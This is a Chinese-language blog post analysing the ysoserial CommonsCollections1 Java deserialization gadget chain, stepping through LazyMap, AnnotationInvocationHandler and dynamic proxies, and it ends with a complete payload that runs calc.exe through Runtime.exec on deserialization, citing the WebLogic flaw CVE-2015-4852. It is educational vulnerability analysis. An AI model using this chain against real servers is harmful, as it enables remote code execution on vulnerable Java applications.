天天看點

ysoserial CommonsColletions1分析

JAVA安全審計 ysoserial CommonsColletions1分析

前言:

在ysoserial工具中,并沒有使用TransformedMap的來觸發ChainedTransformer鍊,而是用了LazyMap的get方法

CommonsCollections1

調用鍊:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */
           

調用鍊入口

這條鍊的入口還是AnnotationInvocationHandler的readObject。

ysoserial CommonsColletions1分析

LazyMap

我們需要尋找在LazyMap中能執行ChainedTransformer#transform方法。

LazyMap執行transform方法的地方在其get方法中。

當執行

get()

方法時,如果鍵值不存在,将使用工廠factory.transform建立一個值

ysoserial CommonsColletions1分析

這裡factory變量是從decorate方法中傳入

ysoserial CommonsColletions1分析

是以構造payload

//建立一個HashMap
HashMap hashMap = new HashMap();
//傳入chain
Map lazymap = LazyMap.decorate(hashMap, chain);
           

此時我們要找的就是哪裡能調用到LazyMap#get方法了

在AnnotationInvocationHandler的invoke方法中,this.memberValues.get調用到了get

ysoserial CommonsColletions1分析

this.memberValues是通過AnnotationInvocationHandler構造方法傳入

ysoserial CommonsColletions1分析

是以通過AnnotationInvocationHandler的invoke方法可以調用到LazyMap#get方法,可是想想怎麼調用到invoke呢。

我們來仔細看看AnnotationInvocationHandler類

ysoserial CommonsColletions1分析

這個類其實就是一個InvocationHandler,想想JDK動态代理

Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);
           

第一個參數是:被代理對象的ClassLoader。第二個是被代理對象的接口。第三個是建立的InvocationHandler對象

LazyMap傳入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy對象。此時proxy對象調用任何方法,都會通過其對應的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。

上面幾句話可能有點繞,可以先複習下之前所說過的動态代理的知識再回來看:https://www.cnblogs.com/yyhuni/p/14934747.html

根據上面構造payload:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上轉型成InvocationHandler才可以在下一步傳入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap); 
//建立proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);  
           

兩個注意點:

1.AnnotationInvocationHandler構造方法是包權限,不能直接new,要用反射來建立

2.建立的AnnotationInvocationHandler對象要向上轉型成InvocationHandler,才可以在下一步傳入Proxy.newProxyInstance

3.生成的proxy對象要轉型成Map

關于第三點,其實是為了在下一步構造的時候進行參數傳遞的比對,往下看就知道原因了

有了proxy對象了,最後一步就是怎麼調用到proxy對象的方法。

在調用鍊的入口處AnnotationInvocationHandler#readObject

ysoserial CommonsColletions1分析

這裡調用了this.memberValues的方法,而this.memberValues是通過構造函數傳入進來的,是以我們可以把proxy傳入AnnotationInvocationHandler,這時候觸發了readObject就會觸發到proxy的方法了。很巧妙的構造

Object Annotation =  constructor.newInstance(Override.class, proxyAnno);
           

最終payload:

//構造反射鍊
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        //建立一個HashMap
        HashMap hashMap = new HashMap();
        //傳入chain
        Map lazymap = LazyMap.decorate(hashMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
		//構造InvocationHandler傳入lazymap
        InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap); 
        //建立proxy
        Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
		//建立AnnotationInvocationHandler對象,傳入proxyAnno
        Object Annotation =  constructor.newInstance(Override.class, proxyAnno);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(Annotation);
        oos.flush();
        oos.close();

        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
           

簡單畫了下利用鍊的流程圖

ysoserial CommonsColletions1分析

相關漏洞:

WebLogic反序列化漏洞:CVE-2015-4852

歡迎關注我的公衆号,同步更新喔

ysoserial CommonsColletions1分析